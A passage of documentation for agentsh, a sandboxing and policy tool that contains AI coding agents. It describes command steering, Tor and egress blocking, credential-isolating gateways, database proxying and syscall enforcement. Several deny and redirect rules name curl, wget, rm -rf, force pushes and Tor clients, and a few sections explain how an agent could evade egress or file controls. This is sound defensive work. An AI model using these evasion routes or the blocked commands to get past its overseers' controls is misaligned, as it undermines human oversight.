automatically. ##### Real-Paths Mode By default, agentsh virtualizes the workspace under `/workspace`. With **real-paths mode**, sessions preserve the actual host directory path. This eliminates path confusion when agents reference absolute paths in their output. ```bash ## Create a session with real paths agentsh session create --workspace /home/user/work/myproject --real-paths ## Or create a real-paths session, then wrap into it SID=$(agentsh session create --workspace /home/user/work/myproject --real-paths --json | jq -r .id) agentsh wrap --session "$SID" -- claude --dangerously-skip-permissions -p "implement the feature" ``` Or set it in config: ```text sessions: real_paths: true ``` When to use real-paths Use real-paths when agents need path continuity between host and sandbox — for example, when an agent's output references file paths that humans or CI tools will consume. Outside-workspace paths still go through seccomp/policy enforcement. #### Configuring Agents to Use agentsh For interactive development, configure your AI assistant to route commands through agentsh. This works well when running inside a container isn't practical. Note For production or CI/CD environments, prefer running agents in containers with the shell shim installed. #### Claude Code Add to your project's `CLAUDE.md`: ```bash ## Shell access Run commands via agentsh, not directly in bash/zsh. Syntax: agentsh exec SESSION_ID -- COMMAND [ARGS...] Examples: agentsh exec my-session -- ls -la agentsh exec my-session -- npm install agentsh exec my-session -- go build ./... With environment variable: export AGENTSH_SESSION_ID=my-session agentsh exec -- ls -la ``` #### Cursor Add to your Cursor rules: ```bash All shell commands MUST be executed through agentsh. Required syntax: agentsh exec SESSION_ID -- COMMAND [ARGS...] The -- separator is required between session ID and command. ``` #### AGENTS.md For tools that support the AGENTS.md convention, add the same instructions to your project's `AGENTS.md` file. ### Signing & Integrity agentsh provides two cryptographic integrity systems: **policy signing** (Ed25519) to prove policy authorship, and **audit log integrity** (HMAC chain) to detect tampering in audit logs. #### Policy Signing Policy files can be signed with Ed25519 keys and verified against a trust store. Configure signing in your `config.yml`: ```yaml policies: signing: trust_store: "/etc/agentsh/keys/" # Directory of trusted public key JSON files mode: "enforce" # "enforce" | "warn" | "off" (default: "off") ``` | Field | Default | Description | | --- | --- | --- | | `trust_store` | — | Directory containing trusted Ed25519 public key JSON files | | `mode` | `off` | `enforce` rejects invalid/missing signatures; `warn` logs and continues; `off` skips verification | Generate keys and sign policies with the CLI: ```bash ## Generate Ed25519 keypair agentsh policy keygen --output /etc/agentsh/keys/ --label "security-team" ## Sign a policy agentsh policy sign policy.yaml --key /etc/agentsh/keys/private.key.json ## Verify a signed policy agentsh policy verify policy.yaml --key-dir /etc/agentsh/keys/ ``` Trust store security Private keys must be mode `0600`. In `enforce` mode, world-writable trust store directories are rejected. Keys support an `expires_at` field for time-based revocation. For Watchtower-delivered policy pushes, configure both `policies.dir` and `policies.signing.trust_store`. agentsh verifies the pushed Ed25519 signature and content hash against the local trust store, writes `.yaml` and `.yaml.sig` atomically into the policy directory, reloads the manager, and swaps the active engine when the daemon is running. Without a policy directory or trust store, the Watchtower receipt is logged but not installed. #### Audit Log Integrity Audit logs can be chained with HMAC signatures for tamper detection. Each entry contains a hash that depends on the previous entry, forming a cryptographic chain. ```yaml audit: integrity: enabled: true algorithm: "hmac-sha256" # or "hmac-sha512" key_source: "file" # file, env, aws_kms, azure_keyvault, hashicorp_vault, gcp_kms key_file: "/etc/agentsh/hmac.key" encryption: enabled: true # AES-256-GCM encryption at rest key_source: "file" key_file: "/etc/agentsh/encrypt.key" ``` ##### Key sources | Source | Config Fields | Description | | --- | --- | --- | | `file` | `key_file` | Load HMAC key from a local file | | `env` | `key_env` | Load HMAC key from an environment variable | | `aws_kms` | `aws_kms.key_id`, `aws_kms.region`, `aws_kms.encrypted_dek_file` | AWS KMS with envelope encryption (GenerateDataKey) | | `azure_keyvault` | `azure_keyvault.vault_url`, `azure_keyvault.key_name` | Azure Key Vault secret retrieval | | `hashicorp_vault` | `hashicorp_vault.address`, `hashicorp_vault.auth_method`, `hashicorp_vault.secret_path` | HashiCorp Vault (token, kubernetes, approle auth) | | `gcp_kms` | `gcp_kms.key_name`, `gcp_kms.encrypted_dek_file` | GCP Cloud KMS with envelope encryption | Verify audit log integrity offline: ```bash agentsh audit verify audit.jsonl --key-file /etc/agentsh/hmac.key --algorithm hmac-sha256 ``` See [Observability → Audit Log Integrity](https://www.agentsh.org/docs/observability/#audit-integrity) for chain format details and verification workflows. | Flag | Description | | --- | --- | | `--timeout 30s` | Command timeout | | `--output json` | JSON structured output | | `--stream` | Stream output as produced | | `--pty` | Interactive PTY mode | | `--client-timeout 30s` | HTTP client timeout for API requests (Go duration format, default: `30s`). Increase for long-running `exec` operations in slow environments. | | Environment Variable | Description | | --- | --- | | `AGENTSH_SESSION_ID` | Default session ID | | `AGENTSH_SESSION_ROOT` | Root for auto-creating sessions | | `AGENTSH_SERVER` | Server URL (default: http://127.0.0.1:18080) | | `AGENTSH_CLIENT_TIMEOUT` | HTTP client timeout (default: `30s`). Same as `--client-timeout`. | | `AGENTSH_SHIM_FORCE` | Set to `1` to force the shell shim to route through `agentsh exec` even when stdin is not a TTY. | | `AGENTSH_NO_AUTO` | Set to `1` to disable automatic server startup on first `exec`. | --- # Features Source: https://www.agentsh.org/docs/features/ ## Features Execution-layer capabilities of agentsh — traffic control, data protection, deterministic enforcement, and operational tools. ### Steering Most systems can *deny* an action. agentsh can also **steer** it to an approved alternative. When an agent tries the wrong approach (or brute-force workarounds), policy can steer it to the right path—keeping the agent productive and reducing wasted retries. The technical action is called `redirect` in policy files. ##### Steer npm to internal registry ```yaml dns_redirects: - name: npm-mirror-dns match: "^registry\\.npmjs\\.org$" resolve_to: "10.0.1.50" connect_redirects: - name: npm-mirror-connect match: "registry\\.npmjs\\.org:443" redirect_to: "npm.internal.corp:443" message: "Steered to internal registry" ``` ##### Steer curl to an audited wrapper ```yaml command_rules: - name: redirect-curl commands: [curl, wget] decision: redirect message: "Downloads routed through audited fetch" redirect_to: command: agentsh-fetch args: ["--audit"] ``` ##### Steer writes outside workspace ```yaml file_rules: - name: redirect-outside-writes paths: ["/home/**", "/tmp/**"] operations: [write, create] decision: redirect redirect_to: "/workspace/.scratch" message: "Writes outside workspace redirected to /workspace/.scratch" ``` ##### Discourage unnecessary deletions Instead of blocking destructive commands outright, steer the agent away with guidance: ```yaml command_rules: - name: discourage-rm commands: [rm, rmdir] args_patterns: ["(-rf?|--recursive)"] decision: redirect redirect_to: command: echo args: ["Skipped: deletion not needed. Files can remain; they don't affect the build or tests."] message: "Cleanup is unnecessary—focus on the task instead of removing files." ``` The agent sees a successful operation (not an error), receives the guidance message, and moves on without wasting retries. ##### Prevent bypassing merge workflow Steer agents away from shortcuts that bypass proper code review and merge workflows: ```yaml command_rules: - name: no-direct-push-to-main commands: [git] args_patterns: ["push.*(origin\\s+)?(main|master)"] decision: redirect redirect_to: command: echo args: ["Push declined. Create a branch and open a pull request instead."] message: "Direct pushes to main/master are not allowed. Use feature branches and pull requests." - name: no-force-push commands: [git] args_patterns: ["push.*(--force|-f)"] decision: redirect redirect_to: command: echo args: ["Force push blocked. Resolve conflicts through proper merge."] message: "Force pushing is not allowed—merge changes through the standard workflow." - name: no-hard-reset commands: [git] args_patterns: ["reset.*(--hard)"] decision: redirect redirect_to: command: echo args: ["Hard reset blocked. Use git stash or git checkout to preserve changes."] message: "git reset --hard discards uncommitted work. Use non-destructive alternatives." - name: no-git-clean commands: [git] args_patterns: ["clean.*(-f|--force)"] decision: redirect redirect_to: command: echo args: ["git clean blocked. Untracked files may be needed—review before deleting."] message: "git clean -fd permanently deletes untracked files. Review them manually first." ``` The agent receives guidance to use the proper workflow instead of attempting workarounds. #### DNS & Connect Redirects For transparent network-level routing without application changes, agentsh intercepts DNS resolution and TCP connections at the syscall level. This enables scenarios like routing API calls through internal proxies or gateways. Process-scoped, not system-wide DNS and connect redirects only affect processes running under agentsh—not the entire system. This makes it safe to run alongside other applications. ##### DNS Redirects Intercept DNS resolution and return alternative IP addresses based on hostname patterns. ```yaml dns_redirects: # Route Anthropic API through internal proxy - name: anthropic-to-vertex match: ".*\\.anthropic\\.com" # Regex pattern resolve_to: "10.0.0.50" # IP to return visibility: audit_only on_failure: fail_closed ``` **Fields:** - `match`: Regex pattern for hostname (full string match) - `resolve_to`: IP address to return (IPv4 or IPv6) - `visibility`: `silent`, `audit_only` (default), or `warn` - `on_failure`: `fail_closed` (default), `fail_open`, or `retry_original` ##### Connect Redirects Intercept TCP connections and route them to different destinations. Supports TLS/SNI rewriting for MITM proxy scenarios. ```yaml connect_redirects: # Route API calls through corporate proxy - name: api-to-proxy match: "api\\.anthropic\\.com:443" # Regex for host:port redirect_to: "vertex-proxy.internal:443" tls: mode: passthrough # or rewrite_sni visibility: warn message: "Routed through Vertex AI proxy" on_failure: fail_closed ``` **Fields:** - `match`: Regex pattern for `host:port` (or just host for any port) - `redirect_to`: Destination `host:port` - `tls.mode`: `passthrough` (keep original SNI) or `rewrite_sni` - `tls.sni`: Required if mode is `rewrite_sni`—the SNI to use in ClientHello - `visibility`, `message`, `on_failure`: Same as DNS redirects ##### SNI Rewriting When routing through a MITM proxy that presents its own certificate, use SNI rewriting: ```yaml connect_redirects: - name: tls-mitm match: ".*:443" redirect_to: "proxy.internal:8443" tls: mode: rewrite_sni sni: "proxy.internal" # SNI sent to proxy ``` ##### Combined Example Route Anthropic API calls through a Vertex AI proxy with DNS and connect redirects working together: ```yaml ## First, resolve anthropic.com to proxy IP dns_redirects: - name: anthropic-dns match: ".*\\.anthropic\\.com" resolve_to: "10.0.0.50" visibility: audit_only ## Then, redirect the connection to proxy port connect_redirects: - name: anthropic-connect match: "api\\.anthropic\\.com:443" redirect_to: "vertex-proxy.internal:443" tls: mode: passthrough visibility: warn message: "API call routed through Vertex AI" ``` ##### Visibility & Failure Options | Visibility | Behavior | | --- | --- | | `silent` | No event, no stderr output | | `audit_only` | Event logged to audit system only (default) | | `warn` | Event logged + message shown to stderr | | On Failure | Behavior | | --- | --- | | `fail_closed` | Return error to application (default) | | `fail_open` | Retry connection to original destination | | `retry_original` | Same as `fail_open` | ##### Platform Support DNS and connect redirect enforcement depends on the active backend: - **Linux:** transparent DNS/connect interception through the Linux network monitor, ptrace path, or eBPF-backed enforcement depending on configuration - **macOS:** policy parsing and audit support; transparent DNS/connect rewriting is not currently the primary macOS path - **Windows:** WinDivert packet filtering with policy-aware NAT for connect redirects ### Network ACLs Process-level network access control lists provide fine-grained control over which processes can make which network connections. ACL rules are evaluated per-process based on the executable name. ```bash ## Show active network ACL rules agentsh network-acl list --json ## Add a rule allowing curl to reach an API agentsh network-acl add curl api.example.com --port 443 --decision allow ## Test what decision would be made for a connection agentsh network-acl test node registry.npmjs.org --port 443 ## Remove a rule by index agentsh network-acl remove 3 --process curl ## Watch live connection attempts agentsh network-acl watch --json ## Learn network patterns for policy generation agentsh network-acl learn --process node --duration 1h --output learned-rules.yaml ``` The `network-acl` command is also available as `nacl` or `pnacl` for convenience. ### Tor Access Control An agent that bootstraps a Tor client can tunnel straight around agentsh's carefully-built egress allowlist. Tor encrypts traffic to its relays, so once a process is on the Tor network its real destinations — any `.onion` service, any clearnet host — are buried inside the encrypted stream and invisible to every IP, DNS, and host control agentsh enforces. Tor is therefore treated as a **category to be denied by default**: near-zero legitimate use inside an agent workload, high evasion value. The top-level `tor:` block is a coordinating macro — one intent (`deny`, `audit`, or `allow`) expands into consistent enforcement across the five ways a sandboxed process can reach Tor: - **Client processes** — `tor`, `torsocks`, and pluggable transports (`obfs4proxy`, `snowflake-client`, …) are denied at `execve`. - **Local SOCKS/control ports** — `connect()` to a loopback Tor daemon (`9050`/`9150`/`9051`) is caught. - **.onion DNS & HTTP** — `.onion` names are refused at the resolver and at the HTTP proxy. - **Relay IPs** — direct connections to guard/middle/exit and directory-authority IPs are blocked, using a built-in seed plus an optional onionoo feed. Deny-by-default holds with **no external network fetch**: the four cheap doors plus the built-in directory-authority seed are enough to break Tor bootstrap. `audit` mode emits [`tor_control`](https://www.agentsh.org/docs/observability/#event-reference) events without blocking, for a safe rollout. When Tor is deliberately permitted (`allow` mode), an optional SOCKS-aware **onion gateway** applies per-`.onion` `onion_rules` so you can allow specific hidden services while denying the rest. Deny-by-default activates on upgrade A deployment with no `tor:` block begins denying all five vectors the moment it upgrades to a build that ships this feature. Set `tor.mode: audit` or `tor.enabled: false` beforehand for a gentler rollout. See [Policy Reference → Tor Access Control](https://www.agentsh.org/docs/policy-reference/#tor-access) for the full schema. ### LLM Proxy & DLP agentsh includes an embedded proxy that intercepts all LLM API requests from agents. - **Automatic routing:** Sets `ANTHROPIC_BASE_URL` and `OPENAI_BASE_URL` so SDKs route through the proxy - **Custom providers:** Route to LiteLLM, Azure OpenAI, vLLM, or corporate gateways - **DLP redaction:** PII (emails, phone numbers, API keys) is redacted before reaching providers - **Usage tracking:** Token counts extracted and logged for cost attribution ```yaml proxy: mode: embedded providers: anthropic: https://api.anthropic.com openai: https://api.openai.com dlp: mode: redact patterns: email: true api_keys: true custom_patterns: - name: customer_id display: identifier regex: "CUST-[0-9]{8}" ``` #### Rate Limiting Control how fast agents can call LLM APIs with token-bucket rate limiters for both request count and token consumption. ```text proxy: rate_limits: enabled: true requests_per_minute: 60 # RPM limit request_burst: 10 # Burst allowance (default: RPM/6) tokens_per_minute: 90000 # TPM limit token_burst: 15000 # Token burst (default: TPM/6) ``` Requests that exceed the rate limit receive an HTTP `429 Too Many Requests` response. Token consumption is tracked post-response — the actual token count from the provider response is deducted from the budget. A concurrency limiter (max 4 in-flight requests when TPM is enabled) bounds worst-case overspend. ### HTTP Service Gateway agentsh proxies an agent's HTTP traffic to third-party APIs through a local gateway that enforces path-level and method-level access rules, substitutes credentials on the wire, and prevents credential exfiltration. Declare a service in your policy, and agentsh handles routing, filtering, and secret management in a single configuration block. ```text ## Allow the agent to read repo contents and manage issues on GitHub. ## The real token is fetched from Vault; the agent only sees a fake. http_services: - name: github upstream: https://api.github.com secret: ref: vault://kv/github#token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" default: deny rules: - name: read-contents methods: [GET] paths: ["/repos/myorg/*/contents/**"] decision: allow - name: manage-issues methods: [GET, POST, PATCH] paths: ["/repos/myorg/*/issues", "/repos/myorg/*/issues/*"] decision: allow ``` Key properties: - **Fail-closed by default.** When `allow_direct: false` (the default), agentsh blocks direct connections to the upstream host at the network layer. The agent can *only* reach the API through the gateway. - **Path and method filtering.** Rules use [glob patterns](https://github.com/gobwas/glob) on the request path and restrict by HTTP method. First matching rule wins. - **Credential isolation.** The agent receives a format-matched fake token (e.g., `ghp_aB3xZk9...`). agentsh swaps the fake for the real credential on the wire and scrubs it from responses. A [leak guard](https://www.agentsh.org/docs/policy-reference/#http-services-leak-guard) blocks any attempt to exfiltrate the fake to a different host. For the full schema, credential substitution model, and worked examples, see [Policy Reference → HTTP Services](https://www.agentsh.org/docs/policy-reference/#http-services). #### Cooperative vs. Non-Cooperative Services How the agent's traffic reaches the gateway depends on whether the service's SDK supports a custom base URL. ##### Cooperative services A cooperative service is any API whose SDK or CLI lets you override the base URL via an environment variable, constructor parameter, or config file. agentsh sets the appropriate variable automatically (e.g., `GITHUB_API_URL=http://127.0.0.1:/svc/github/`), so the SDK routes all traffic through the gateway without code changes. This is the cleanest integration path. | Category | Service | Base URL override | | --- | --- | --- | | **Source control** | GitHub | `GITHUB_API_URL` | | GitLab | `GITLAB_URL` / self-hosted base URL | | | **Payments** | Stripe | `stripe.api_base` (SDK constructor) | | **Cloud** | AWS | `AWS_ENDPOINT_URL`, per-service `AWS_ENDPOINT_URL_` | | Google Cloud | `CLOUDSDK_API_ENDPOINT_OVERRIDES_` | | | Azure | `AZURE_AUTHORITY_HOST` / per-service endpoint config | | | **Communication** | Slack | `base_url` (SDK constructor) | | PagerDuty | `base_url` (SDK constructor) | | | **Infrastructure** | HashiCorp Vault | `VAULT_ADDR` | | Kubernetes | `--server` flag / kubeconfig `clusters[].cluster.server` | | | **Observability** | Datadog | `DD_DD_URL`, `DD_SITE` | | Sentry | Host encoded in `SENTRY_DSN` | | | Elasticsearch | `ELASTICSEARCH_URL` | | | **Package registries** | npm | `NPM_CONFIG_REGISTRY` | | pip / PyPI | `PIP_INDEX_URL` | | | Cargo / crates.io | `CARGO_REGISTRIES__INDEX` | | ##### Non-cooperative services For services that do not support a base URL override, agentsh uses fail-closed network enforcement. When a service is declared in `http_services:` with `allow_direct: false` (the default), agentsh blocks any direct connection to the upstream host at the network monitor level. The agent receives a 403 with a message directing it to use the gateway URL. For SDKs that cannot change their base URL, keep direct access blocked and use a small adapter or wrapper that calls the gateway URL exposed for the service (for example `STRIPE_API_URL=http://127.0.0.1:/svc/stripe`). DNS and connect redirects can steer TCP to such an adapter, but `http_services` itself expects requests on the `/svc//...` gateway path. ```yaml http_services: - name: stripe upstream: https://api.stripe.com allow_direct: false expose_as: STRIPE_API_URL default: deny rules: - name: read-customers methods: [GET] paths: ["/v1/customers", "/v1/customers/*"] decision: allow ``` ### Database Proxy agentsh can route declared Postgres-family database traffic through a per-session proxy. The proxy evaluates connection policy during startup, classifies SQL statements into effects, enforces strict per-object statement rules, applies optional `require_where` guards for scoped mutations, and emits database audit events. ```yaml db_services: appdb: family: postgres dialect: postgres upstream: pg.internal:5432 tls_mode: terminate_reissue database_connection_rules: - name: allow-app-user db_service: appdb db_user: ["app"] database: app decision: allow database_rules: - name: deny-mutations db_service: appdb operations: [write, modify, delete] decision: deny - name: allow-resolved-reads db_service: appdb operations: [read] relations: ["public.users", "public.orders"] match_object_resolution: catalog_resolved decision: allow policies: db: unavoidability: enforce log_statements: parameters_redacted ``` Current runtime support is Postgres-family only: PostgreSQL and Aurora Postgres are the supported targets; Redshift and CockroachDB use the same path with beta coverage. Statement rules require terminate-mode TLS. Passthrough services can still use connection-level rules, but the proxy cannot inspect SQL inside the encrypted stream. For mutation allowlists, add `require_where: true` to `modify` and `delete` rules that should only match top-level `UPDATE` or `DELETE` statements with a top-level `WHERE`. This is a syntactic guard; pair it with narrow relation selectors and avoid overlapping unguarded mutation rules. When `policies.db.unavoidability` is `observe` or `enforce`, agentsh generates the routing and bypass-prevention bundle for declared services. That bundle uses `connect_redirects` with `redirect_to_unix` to route agent connects to the proxy, denies direct egress to protected database destinations, blocks common local Postgres Unix sockets, and emits `db_bypass_attempt` events for denied direct access. For the full schema, redirect behavior, audit event shape, and current limitations, see [Database Proxy](https://www.agentsh.org/docs/database-proxy/) and [Policy Reference → Database Access](https://www.agentsh.org/docs/policy-reference/#database-access). ### Workspace Checkpoints Create snapshots of workspace state for recovery from destructive operations: ```bash ## Create a checkpoint before risky operations agentsh checkpoint create --session $SID --workspace /workspace --reason "before cleanup" ## List checkpoints for a session agentsh checkpoint list --session $SID ## Show what changed since a checkpoint agentsh checkpoint show --session $SID --workspace /workspace --diff ## Preview what rollback would restore (dry-run) agentsh checkpoint rollback --session $SID --workspace /workspace --dry-run ## Restore workspace to checkpoint state agentsh checkpoint rollback --session $SID --workspace /workspace ## Clean up old checkpoints agentsh checkpoint purge --session $SID --older-than 24h --keep 5 ``` All commands accept `--storage-dir` to override the default checkpoint storage location. The `list` and `show` commands support `--json` for machine-readable output. Auto-checkpoint When enabled, agentsh automatically creates checkpoints before risky commands (`rm`, `mv`, `git reset`, `git checkout`, `git clean`, `git stash`). Configure in `sessions.checkpoints.auto_checkpoint`. Snapshots use copy-on-write with SHA-256 hash verification on restore. Individual files over 100 MB are skipped. ### Trash & Soft Delete When a policy uses the `soft_delete` decision, files are diverted to a trash directory instead of being permanently deleted. Soft-delete is supported across both the **FUSE** and **ptrace** enforcement backends—in ptrace mode, `unlinkat` calls are intercepted and replaced with `mkdirat` + `renameat2` syscall injection to atomically move files to trash. Manage diverted files with the `trash` command: ```bash ## List diverted items agentsh trash list --session $SID ## Restore a diverted item by token agentsh trash restore ## Restore to a different location agentsh trash restore --dest /workspace/recovered.txt --force ## Purge old trash entries agentsh trash purge --ttl 7d --quota 5GB ``` ### Backup & Restore Create and restore backups of agentsh data including configuration, policies, sessions, and audit logs: ```bash ## Create a backup agentsh backup -o agentsh-backup.tar.gz --verify ## Restore from backup (dry-run first) agentsh restore -i agentsh-backup.tar.gz --dry-run ## Restore and verify agentsh restore -i agentsh-backup.tar.gz --verify ``` ### Process Taint Tracking agentsh tracks process ancestry to determine which processes are “tainted” (spawned by or descended from an AI agent). Use the `taint` command to inspect and debug taint propagation: ```bash ## List all tainted processes agentsh taint list --json ## Show taint details for a specific process agentsh taint show ## Show full ancestry trace agentsh taint trace ## Stream taint events in real-time agentsh taint watch --agent-only ## Simulate taint evaluation for testing agentsh taint simulate --ancestry bash,node,claude --command curl --args "https://example.com" ``` ### Authentication agentsh supports multiple authentication methods: | Type | Use Case | | --- | --- | | `api_key` | Simple deployments with static keys | | `oidc` | Enterprise SSO (Okta, Azure AD, etc.) | | `hybrid` | Both methods accepted | **Approval modes** for human-in-the-loop verification: - `local_tty` - Terminal prompt (default) - `totp` - Authenticator app codes - `webauthn` - Hardware security keys (YubiKey) - `api` - Remote approval via REST #### OIDC Configuration When using OIDC, the server discovers the provider's endpoints at startup. The `discovery_timeout` field controls how long to wait for the OIDC discovery request (default: `5s`). Increase this if your identity provider is slow to respond, or decrease it to fail fast in environments where the provider may be unreachable. ```text auth: type: oidc oidc: issuer: https://login.example.com audience: agentsh discovery_timeout: 5s # default; accepts Go duration format ``` #### WebAuthn Credentials Manage hardware security key credentials for the `webauthn` approval mode: ```bash ## Register a new security key agentsh auth webauthn register --name "YubiKey 5" ## List registered credentials agentsh auth webauthn list ## Delete a credential agentsh auth webauthn delete --credential-id ``` ### Threat Intelligence Feeds agentsh can block network connections to known-malicious domains using external threat intelligence feeds and local blocklists. When a DNS query or connection attempt matches a threat feed entry, the configured action (deny or audit) is applied and recorded with the feed name and matched domain in the event metadata. How it works Feeds are downloaded at startup and periodically refreshed in the background. The on-disk cache uses ETag-based HTTP caching to minimize bandwidth. Parent-domain matching is supported—blocking `evil.com` also blocks `sub.evil.com`. An allowlist lets you override specific domains. #### Configuration ```text threat_feeds: enabled: true action: deny # deny or audit feeds: - name: urlhaus url: https://urlhaus.abuse.ch/downloads/hostfile/ format: hostfile # hostfile or domain-list - name: custom-blocklist url: https://internal.corp/threat-domains.txt format: domain-list local_lists: - /etc/agentsh/local-blocklist.txt allowlist: - safe.example.com sync_interval: 6h # background refresh interval (default: 6h) cache_dir: "" # on-disk cache directory ``` | Field | Default | Description | | --- | --- | --- | | `enabled` | `false` | Enable threat feed checking | | `action` | `deny` | `deny` blocks the connection; `audit` logs but permits | | `feeds[].name` | — | Unique feed identifier (alphanumeric, dots, hyphens, underscores) | | `feeds[].url` | — | Feed URL (http:// or https://) | | `feeds[].format` | — | `hostfile` (127.0.0.1 domain) or `domain-list` (one per line) | | `local_lists` | `[]` | Local file paths containing domains to block (one per line) | | `allowlist` | `[]` | Domains that override threat feed matches (always permitted) | | `sync_interval` | `6h` | How often to refresh remote feeds | #### Event Metadata When a DNS query or network connection matches a threat feed, the event's policy info includes threat-specific fields: ```text { "type": "dns_query", "domain": "malware.evil.com", "policy": { "decision": "deny", "threat_feed": "urlhaus", "threat_match": "evil.com", "threat_action": "deny" } } ``` ### Package Install Security agentsh intercepts package manager commands (`npm install`, `pip install`, `pnpm add`, `yarn add`, `uv pip install`, `poetry add`) and evaluates their dependency trees against multiple security providers before the install proceeds. A policy-based rule engine determines whether to allow, warn, require approval, or block each package. Fail-closed by default If no policy rule matches a finding, the default verdict is **block**. This ensures that unrecognized threats are not silently permitted. Configure explicit allow rules for packages you trust. #### Providers Providers run in parallel and return findings that the policy engine evaluates. Each provider can be independently enabled, configured with timeouts, and assigned a failure action. | Provider | Finding Types | API Key Required | Description | | --- | --- | --- | --- | | `osv` | vulnerability | No | OpenSSF Vulnerability Database with CVSS v3 scoring | | `depsdev` | license, reputation | No | deps.dev for license metadata and OpenSSF Scorecard scores | | `local` | license | No | Offline license metadata scanning (zero network calls) | | `socket` | malware, reputation | Yes | Socket.dev for supply-chain malware and typosquatting detection | | `snyk` | vulnerability, license | Yes | Snyk vulnerability and license scanning | | `exec` | *any* | — | Custom external checker via stdin/stdout JSON protocol | #### Policy Rules Package rules use first-match-wins evaluation. Each rule matches on package name, finding type, severity, ecosystem, reason codes, or SPDX license identifiers. ```text package_rules: # Allow known internal packages - match: name_patterns: ["@acme/*"] action: allow # Block critical vulnerabilities - match: finding_type: vulnerability severity: critical action: block # Require approval for malware findings - match: finding_type: malware action: approve reason: "Malware detected in dependency" # Block copyleft licenses - match: finding_type: license license_spdx: deny: [GPL-3.0-only, AGPL-3.0-only] action: block # Warn on low-reputation packages - match: finding_type: reputation severity: high action: warn ``` | Match Field | Description | | --- | --- | | `packages` | Exact package name list | | `name_patterns` | Glob patterns for package names (e.g. `@acme/*`) | | `finding_type` | `vulnerability`, `license`, `provenance`, `reputation`, `malware` | | `severity` | `critical`, `high`, `medium`, `low`, `info` | | `ecosystem` | `npm` or `pypi` | | `reasons` | Match specific provider reason codes | | `license_spdx` | SPDX allow/deny lists for license identifiers | Verdict actions: `allow`, `warn` (log and permit), `approve` (require human approval), `block` (deny the install). #### Configuration ```text package_checks: enabled: true scope: new_packages_only # new_packages_only or all_installs cache: ttl: vulnerability: 1h license: 24h provenance: 24h reputation: 24h malware: 1h providers: osv: enabled: true timeout: 10s on_failure: warn # warn, deny, allow, or approve depsdev: enabled: true timeout: 10s on_failure: warn local: enabled: true on_failure: warn socket: enabled: false api_key_env: SOCKET_API_KEY timeout: 10s on_failure: warn snyk: enabled: false api_key_env: SNYK_TOKEN timeout: 10s on_failure: warn registries: npmjs.org: trust: check_full # check_full, check_local_only, or trusted internal.corp: trust: trusted scopes: ["@acme"] ``` | Field | Default | Description | | --- | --- | --- | | `enabled` | `false` | Enable package install security checks | | `scope` | `new_packages_only` | `new_packages_only` skips already-installed packages; `all_installs` checks every install | | `cache.ttl.*` | varies | Per-finding-type cache lifetimes for provider results | | `providers.*.enabled` | varies | Enable/disable each provider independently | | `providers.*.timeout` | `10s` | Per-provider request timeout | | `providers.*.on_failure` | `warn` | Action when provider fails: `warn`, `deny`, `allow`, `approve` | | `providers.*.api_key_env` | — | Environment variable containing the API key | | `registries.*.trust` | `check_full` | `trusted` skips checks; `check_local_only` uses only the local provider | ### Ptrace Enforcement When seccomp user-notify, eBPF, and FUSE are unavailable — AWS Fargate, restricted Kubernetes, gVisor, Modal — agentsh can use the Linux `ptrace` API to intercept syscalls and enforce policy. Ptrace mode provides the same enforcement guarantees as full mode without requiring privileged kernel features. For configuration and attach modes, see [Setup → Ptrace Mode](https://www.agentsh.org/docs/setup/#ptrace-mode). ##### Target environments | Environment | Why ptrace | | --- | --- | | AWS Fargate | seccomp user-notify, eBPF, and FUSE are all blocked; `SYS_PTRACE` available with shared PID namespace | | Restricted Kubernetes | Security contexts prevent seccomp/eBPF; ptrace via `SYS_PTRACE` capability | | gVisor / Firecracker | Custom kernel does not support seccomp user-notify or Landlock | | Modal | gVisor runtime; ptrace provides full policy enforcement | | exe.dev | Hybrid mode: ptrace for execve, seccomp wrapper for file/network/signal | ##### Performance Overhead is ~5.4x with all optimizations enabled (versus ~23x without). Key optimizations: - **seccomp pre-filter** — BPF filter reduces ptrace stops to ~25 policy-relevant syscalls - **Argument-level BPF filtering** — checks syscall arguments in BPF before triggering ptrace stops (e.g., `sendto` with NULL destination bypasses ptrace entirely) - **Lazy BPF escalation** — narrow initial filter; escalated per-process only when TracerPid masking or TLS SNI rewrite is needed - **Per-syscall resume** — `PTRACE_CONT` for entry-only syscalls, `PTRACE_SYSCALL` only for the 7 syscalls needing exit processing Opt-in only Ptrace mode is not auto-selected. Enable it explicitly in configuration under `sandbox.ptrace`. See [Setup → Ptrace Mode](https://www.agentsh.org/docs/setup/#ptrace-mode). ##### Hybrid ptrace + seccomp mode On platforms where both ptrace and seccomp are available (e.g., exe.dev), agentsh supports a hybrid mode: - **ptrace for execve** — every binary execution goes through ptrace with seccomp pre-filter - **seccomp file_monitor for file I/O** — file operations intercepted via seccomp-notify, avoiding ptrace overhead on high-frequency syscalls - **Landlock for filesystem boundaries** — kernel-enforced directory restrictions Configure by enabling ptrace with `trace.execve: true` and seccomp `file_monitor` with `enforce_without_fuse: true`, while disabling ptrace file/network/signal tracing. ### Seccomp-Notify File Enforcement When FUSE and Landlock are both unavailable (e.g., nested containers, Firecracker microVMs), agentsh can enforce file policies using the **seccomp user-notify** mechanism. The supervisor process intercepts file-related syscalls, evaluates them against policy, and either allows or blocks the operation—all without a virtual filesystem layer. ##### How it works The seccomp-notify file enforcement backend intercepts syscalls at the BPF filter level, then evaluates file paths against your existing `file_rules` policy: - **openat interception** — for allowed opens, the supervisor opens the file itself and injects the fd into the tracee via `SECCOMP_ADDFD_FLAG_SEND` (AddFD emulation). This prevents the tracee from racing the policy check. - **Metadata syscalls** — `statx`, `newfstatat`, `faccessat2`, `readlinkat` are intercepted with `SECCOMP_RET_USER_NOTIF` so policy can control stat/access checks on protected paths. - **io_uring blocking** — `io_uring_setup`, `io_uring_enter`, and `io_uring_register` are blocked with `EPERM` to prevent bypass of the seccomp notification path. - **`/proc/self/fd/N` resolution** — paths like `/proc/self/fd/5`, `/proc/thread-self/fd/N`, `/dev/fd/N`, and `/dev/stdin` are resolved to their actual targets before policy evaluation to prevent fd-based bypasses. - **TOCTOU bracketing** — `SECCOMP_IOCTL_NOTIF_ID_VALID` checks bracket supervisor-side operations to mitigate time-of-check/time-of-use races. Kernel requirements Requires Linux kernel ≥ 5.9 for seccomp user-notify and ≥ 5.14 for AddFD emulation (`SECCOMP_ADDFD_FLAG_SEND`). Use `agentsh detect` to check the active file-domain backend and capability map. ##### Configuration ```yaml sandbox: seccomp: enabled: true file_monitor: enabled: true enforce_without_fuse: true # Enable file enforcement via seccomp-notify intercept_metadata: true # Intercept statx, faccessat2, etc. (default: true) openat_emulation: true # AddFD emulation for openat (default: true) block_io_uring: true # 